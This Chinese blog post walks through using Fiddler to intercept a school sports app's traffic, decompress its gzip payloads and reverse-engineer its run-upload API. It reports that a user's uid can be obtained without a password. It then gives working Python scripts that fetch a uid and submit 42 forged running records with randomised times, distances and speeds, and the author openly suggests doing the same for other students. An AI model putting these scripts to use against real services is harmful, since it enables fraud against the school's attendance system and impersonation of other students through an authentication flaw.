资讯专栏INFORMATION COLUMN

Fiddler抓包实战

lolomaco / 1337人阅读

摘要:抓包是一个蛮好用的抓包工具,可以将网络传输发送与接受的数据包进行截获重发编辑转存等操作,也能用于安卓抓包。这里这麽多可能不便于观察,那这样的呢响应体的内容总的来看,我没有用到密码,就从一个服务器里得到了,果然有漏洞。

Fiddler抓包

Fiddler是一个蛮好用的抓包工具,可以将网络传输发送与接受的数据包进行截获、重发、编辑、转存等操作,也能用于安卓抓包。
Fiddler有多种版本,我用的是Progress Telerik Fiddler Web Debugger,为了能抓手机的包,需要一些准备工作:比如自己的手机和电脑必须在同一个局域网内,我选择的解决办法是,手机和电脑统一连接校园网,这样就能保证手机可以用Fiddler作为代理了,相当于手机和服务器之间插入了第三者,Fiddler能监听到它们之间的一切通信。

那怎样设置呢?

首先,我们需要知道自己电脑的IP地址,你可以在命令行输入ipconfig来查看,或者在Fiddler能直接查看
然后就是手机上的设置了,
代理主机就是我的电脑的ip地址,而代理端口就是Fiddler启动时候占用的端口,具体哪个端口可以在Fiddler:tool→options→connections中查看,没有修改过的话默认是8888。这时你就能抓到手机上的http包了,如果还想要抓到https的包,那就需要手机上安装证书了,证书下载方式:手机浏览器输入以下地址:电脑ip:8888,

手机下载安装即可。
好了,现在可以抓到http包了,现在就打开学校体育软件,看看它都做了什么事吧。
Fiddler已经抓了很多包了,ctrl+x清空全部,瞬间干净许多。


我现在想要的是在上传我的跑步记录时候做了哪些事情,先要有一段跑步记录,所以还是得小跑一段,不过要是你实在不愿意出门,可以下载一款定位模拟软件。

从打开到软件到我上传记录捕获的包如下所示:
开心,很清晰就找到我们要的接口/Api/webserver/uploadRunData,但是要分析这个http包还有点困难,如图所示,出现乱码,但是响应消息很清晰:一个json字符串,m=707486,r=1,请记住这个格式的数据。
所以现在又有一个难题摆在面前,虽然接口和请求头我们看的明白,但是发过去的数据我们看不了。
但是可以看到Accept-Encoding是采用gzip压缩的,所以我们把这段乱码数据还原就有了思路。幸好我之前写过解压的代码:如下所示:

public static void main(String[] args) {        byte[] arrOutput = { (byte) 0x1F, (byte) 0x8B, (byte) 0x08, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x0D, (byte) 0xC8, (byte) 0x31, (byte) 0x0E, (byte) 0xC3, (byte) 0x30, (byte) 0x08, (byte) 0x00, (byte) 0xC0, (byte) 0xCF, (byte) 0x54, (byte) 0x62, (byte) 0xA9, (byte) 0x25, (byte) 0x30, (byte) 0x18, (byte) 0x9B, (byte) 0xFE, (byte) 0x86 };        System.out.println(new String(uncompress(arrOutput)));    }    public static byte[] uncompress(byte[] bytes) {        if (bytes == null || bytes.length == 0) {            return null;        }        ByteArrayOutputStream out = new ByteArrayOutputStream();        ByteArrayInputStream in = new ByteArrayInputStream(bytes);        try {            GZIPInputStream ungzip = new GZIPInputStream(in);            byte[] buffer = new byte[256];            int n;            while ((n = ungzip.read(buffer)) >= 0) {                out.write(buffer, 0, n);            }        } catch (Exception e) {            e.printStackTrace();        }        return out.toByteArray();    }

arrOutput 变量是我在Fiddler切换到HexView查看方式下,复制得到的,如图:

但是粘贴也就是 0x1F,0x8B,直接黏贴上去,idea会报错,我们必须强转为byte类型,但是16进制数太多,一个个黏贴太麻烦,我就直接ctrl+r,替换0x为(byte) 0x,Replace all(小技巧)。
控制台查看我们得到的数据如下:

{"begintime":"1636199707","endtime":"1636200772","uid":"717d7480-28f6-4b1a-a58b-3830e1db41eb95ce1bf7ab934f6fba67100a06171cc01636129683$9ddfb400491530a73a7e273d4d9b6a43","schoolno":"xxxxx","distance":"3010.0","speed":"2.8289473684210527","studentno":"xxxxxxxxxxxxx","atttype":"3","eventno":"801","location":"","pointstatus":"1","usetime":"1064.0"}

这里schoolno和studentno就不展示了,还有location太长了,我就去掉了,但是不影响我们继续分析流程,location这个字段,在我后面研究过程中发现后端并没有做校验,它具体记录的值是我们某个时间点所处的位置。然后我只修改了begintime和endtime发现居然提交成功了,在学校体育管理界面查到两条数据,仅仅时间不同,距离和速度一模一样,Ohhhhhhhhhhh。

但是,这还不算完!!!!,你们看到后面就会发现学校体育后端的傻逼之处了
仔细看这些参数,begintime,endtime,schoolno,distance,speed,studentno,atttype,eventno,location,pointstatus,usetime还有uid。begintime,endtime,distance,speed,studentno,location,usetime我们都是可以伪造的,schoolno,atttype,eventno,pointstatus不变,猜测atttype,eventno,pointstatus三个参数是表示选择的跑步类型的参数,不用管,我们刷公里数只用校内定向跑。
最后还有一个参数uid,这是一个加密过的数据,每个用户只对应一个,上传的时候如果学号和uid对应不上,就会上传不成功。这里其实我们已经捕获到自己的uid了,那我要是拿到其他同学的uid,那我岂不是可以帮其他人跑了,我最喜欢助人为乐了,抱着这种想法,我就开始在捕获的数据包里一个一个查询uid
但是,我在刚刚捕获的数据包里才看第一个,就已经发现了uid了。解压缩从控制台发现,这个请求体里就包含学号和姓名两个字段:
注意,捕获这些数据包是从我进软件到上传数据的这一段时间的数据包,而uid出现在第一个包的请求体里,作为参数,那说明uid早就已经在手机上了,而我忽略了一个重要步骤:“登录”,所以我决定,退出登录,重新抓取数据。

name=%5B%27bangdingschool%27%2C%27xxxxx%27%2C%27xxxxxxxxxxxxx%27%2C%271ac959ab-249d-4479-9721-5fa2a4916b63%27%2C%27nubia%27%2C%27NX651J%27%2C%27android%27%2C%2711%27%5D

让我找到了返回uid的请求在这个包里,这个请求里,如图标红里一模一样,而其他参数有schoolno,studentno(我打码的两个),我的手机牌子nubia,手机型号NX651J,还有一个11,11在后面经过验证是不需要改动的。这里这麽多%xx可能不便于观察,那这样的呢?

name=["bangdingschool","xxxxx","xxxxxxxxxxxxx","32adcecb-79b9-4467-b5c0-c3d09b129467","nubia","NX651J","android","11"]

响应体的内容:

success,http://xx.xx.xxx.xxx:8029/DragonFlyServ/,1ac959ab-249d-4479-9721-5fa2a4916b63c39708d2250749a5b9a64f5c775479dc1636278013$2962b0f01be157c24e50f76055c6d9d6,http://xx.xx.xxx.xx/app/index.php

总的来看,我没有用到密码,就从一个服务器里得到了uid,果然有漏洞。而现在我还需要知道32adcecb-79b9-4467-b5c0-c3d09b129467怎么弄到的呢?熟悉java的小伙伴肯定知道。这不就是 java.util.UUID.randomUUID().toString()随机生成的吗?


到这一步,我们已经完全把通信过程理解清楚了。接下来就是写自动跑步的代码了

第一步,先从java随机生成一个UUID

public class UUID {    public static String getUUID(){        return java.util.UUID.randomUUID().toString();    }    public static void main(String[] args) {        System.out.println(getUUID());//236df500-4995-4f79-91f0-c119308abcd3    }}

得到UUID,放进http请求体里,

import requestsurl = "http://xxxxxxxxxx.cn:8012/cloud/DflyServer"headers = {    "Content-Type": "application/x-www-form-urlencoded",    "Connection": "Keep-Alive",    "Charset": "UTF-8",    "User-Agent": "Dalvik/2.1.0 (Linux; U; Android 11; NX651J Build/RKQ1.200826.002)",    "Host": "xxxxxxxxxx.cn:8012",    "Accept-Encoding": "gzip",    "Content-Length": "168"}data = "name=["bangdingschool","xxxxx","xxxxxxxxxxxxx","236df500-4995-4f79-91f0-c119308abcd3","nubia","NX651J","android","11"]"res= requests.post(url,headers=headers,data=data)print(res.text)# success,http://xx.xx.xxx.xxx:8029/DragonFlyServ/,236df500-4995-4f79-91f0-c119308abcd395ce1bf7ab934f6fba67100a06171cc01636129683$9ddfb400491530a73a7e273d4d9b6a43,http://xx.xx.xxx.xx/app/index.php

有了uid,放进最开始分析的http请求里

import requestsimport gzipimport jsonfrom numpy import randomurl = "http://xx.xx.xxx.xxx:8029/DragonFlyServ/Api/webserver/uploadRunData"headers = {    "Content-Type": "application/x-www-form-urlencoded",    "Connection": "Keep-Alive",    "Charset": "UTF-8",    "User-Agent": "Dalvik/2.1.0 (Linux; U; Android 11; NX651J Build/RKQ1.200826.002)",    "Host": "xx.xx.xxx.xxx:8029",    "Accept-Encoding": "gzip",    "Content-Length": "1963"}#一天相差的时间戳86400+-300intervalTime = 0begintime = 1631705429for i in range(1,43):#1-43    begintime = begintime+intervalTime    usetime = random.randint(1064 - 30, 1064 + 30)  # 1064.0    endtime = usetime + 1 + begintime    distance = random.randint(2900, 3100)  # 3010.0    speed = format(distance / usetime, ".16f")  # 2.8289473684210527    intervalTime = random.randint(86400-300,86400+300)    baseData = "{"begintime":"" + str(begintime) + "","endtime":"" + str(endtime) + "","uid":"236df500-4995-4f79-91f0-c119308abcd395ce1bf7ab934f6fba67100a06171cc01636129683$9ddfb400491530a73a7e273d4d9b6a43","schoolno":"xxxxx","distance":"" + format(distance,".1f") + "","speed":"" + speed + "","studentno":"xxxxxxxxxxxxx","atttype":"3","eventno":"801","location":"","pointstatus":"1","usetime":"" + format(usetime,".1f") + ""}"    # print(baseData)    data = gzip.compress(baseData.encode())    res= requests.post(url,headers=headers,data=data)    print(res.text)    #这里打印的是{"r":"1","m":"708027"},不就是我前面要大家记住的json吗

文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。

转载请注明本文地址:https://www.ucloud.cn/yun/122990.html

相关文章

  • 一文学会 - Fiddler抓包快速实战

    摘要:无论对开发人员或者测试人员来说,都是非常有用的工具。只显示指定的多个显示多个相关的情况下,使用英文分号隔开,见下图。使用浏览器获取图片属性需要注意的是刷新是使用强制刷新,这样会重新请求资源。 ...

    Imfan 评论0 收藏0
  • 9、web爬虫讲解2—urllib库爬虫—实战爬取搜狗微信公众号—抓包软件安装Fiddler4讲解

    摘要:随后,为了保险,重启,火狐浏览器也重启一下,然后开始抓的包,此时你会发现你的连接并不安全等类似提示已经消失,并且已经能够抓包了。 【百度云搜索,搜各种资料:http://www.bdyss.com】 【搜网盘,搜各种资料:http://www.swpan.cn】 封装模块 #!/usr/bin/env python # -*- coding: utf-8 -*- import urll...

    go4it 评论0 收藏0
  • 移动端真机调试实战经验

    摘要:我个人比较推荐的方法是或者安卓手机的这种方式,比较简单方便快捷,然后根据具体的环境再选择更为合适的调试方法。 本文首次发表于本人的个人博客:http://cherryblog.site/ ,欢迎大家到我的博客查看更多文章~ 前言 在开发中前端免不了要进行移动端的开发,然而在电脑上看的样式和手机上还是有一定的差距的,因为手机上有顶部的状态栏和底部的菜单栏,特别是在qq内置浏览器中打开,差...

    rainyang 评论0 收藏0
  • 如何快速掌握Python数据采集与网络爬虫技术

    摘要:通过本文的学习,可以快速掌握网络爬虫基础,结合实战练习,写出一些简单的爬虫项目。从技术手段来说,网络爬虫有多种实现方案,如。二网络爬虫技术基础在本次课中,将使用技术手段进行项目的编写。 摘要:本文详细讲解了python网络爬虫,并介绍抓包分析等技术,实战训练三个网络爬虫案例,并简单补充了常见的反爬策略与反爬攻克手段。通过本文的学习,可以快速掌握网络爬虫基础,结合实战练习,写出一些简单的...

    W4n9Hu1 评论0 收藏0

发表评论

0条评论

lolomaco

|高级讲师

TA的文章

阅读更多
最新活动
阅读需要支付1元查看
<